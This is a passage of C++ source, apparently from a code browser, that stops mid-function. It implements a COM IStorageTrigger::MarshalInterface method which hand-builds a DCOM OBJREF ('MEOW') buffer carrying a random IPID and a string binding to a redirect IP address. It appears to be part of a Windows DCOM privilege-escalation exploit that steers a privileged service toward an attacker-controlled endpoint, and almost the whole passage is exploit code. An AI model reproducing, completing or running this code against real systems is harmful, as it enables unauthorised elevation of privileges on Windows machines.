| 45 | |
| 46 | } |
| 47 | HRESULT IStorageTrigger::MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags) { |
| 48 | short sec_len = 8; |
| 49 | char remote_ip_mb[16]; |
| 50 | wcstombs(remote_ip_mb, (wchar_t *)wredir_ip, 16); |
| 51 | char* ipaddr = remote_ip_mb; |
| 52 | unsigned short str_bindlen = (unsigned short)((strlen(ipaddr)) * 2) + 6; |
| 53 | unsigned short total_length = (str_bindlen + sec_len) / 2; |
| 54 | unsigned char sec_offset = str_bindlen / 2; |
| 55 | |
| 56 | byte data_0[] = { //OBJREF STANDARD |
| 57 | 0x4d,0x45,0x4f,0x57, //MEOW |
| 58 | 0x01,0x00,0x00,0x00, //FLAGS |
| 59 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, |
| 60 | 0x00,0x00,0x00,0x00, //OBJREF STD FLAGS |
| 61 | 0x01,0x00,0x00,0x00 //count |
| 62 | //0x31,0x11,0xb2,0x3e,0x7c,0x05,0xcb,0x32,//OXID |
| 63 | //0x31,0xff,0x38,0xe8,0xb2,0x32,0x32,0x36 |
| 64 | //0x17,0x34,0x00,0x00,0xb0,0x17,0x00,0x00,0xb2,0x58,0x99,0xe7,0x61,0xb3,0x1d,0xaa //IPID |
| 65 | }; |
| 66 | |
| 67 | |
| 68 | byte random_ipid[32]; |
| 69 | GenRandomByte(random_ipid, 32); |
| 70 | byte* dataip; |
| 71 | int len = (int)strlen(ipaddr) * 2; |
| 72 | dataip = (byte*)malloc(len); |
| 73 | for (int i = 0; i < len; i++) |
| 74 | { |
| 75 | if (i % 2) |
| 76 | dataip[i] = *ipaddr++; |
| 77 | else |
| 78 | dataip[i] = 0; |
| 79 | } |
| 80 | |
| 81 | byte data_4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff, |
| 82 | 0xff, 0x00, 0x00, 0x00, 0x00 |
| 83 | }; |
| 84 | |
| 85 | byte data_1[4]; |
| 86 | data_1[0] = (byte)total_length; |
| 87 | data_1[1] = 0; |
| 88 | data_1[2] = sec_offset; |
| 89 | data_1[3] = 0; |
| 90 | |
| 91 | |
| 92 | int size = sizeof(data_0) + sizeof(random_ipid) + sizeof(data_1) + len + 1 + sizeof(data_4); |
| 93 | byte* marshalbuf = (byte*)malloc(size); |
| 94 | int r = 0; |
| 95 | memcpy(&marshalbuf[r], data_0, sizeof(data_0)); |
| 96 | r = sizeof(data_0); |
| 97 | memcpy(&marshalbuf[r], &random_ipid[0], sizeof(random_ipid)); |
| 98 | r = r + sizeof(random_ipid); |
| 99 | memcpy(&marshalbuf[r], data_1, sizeof(data_1)); |
| 100 | r = r + sizeof(data_1); |
| 101 | byte tmp1[] = { 0x07 }; |
| 102 | memcpy(&marshalbuf[r], tmp1, 1); |
| 103 | r = r + 1; |
| 104 | memcpy(&marshalbuf[r], dataip, len); |
nothing calls this directly
no test coverage detected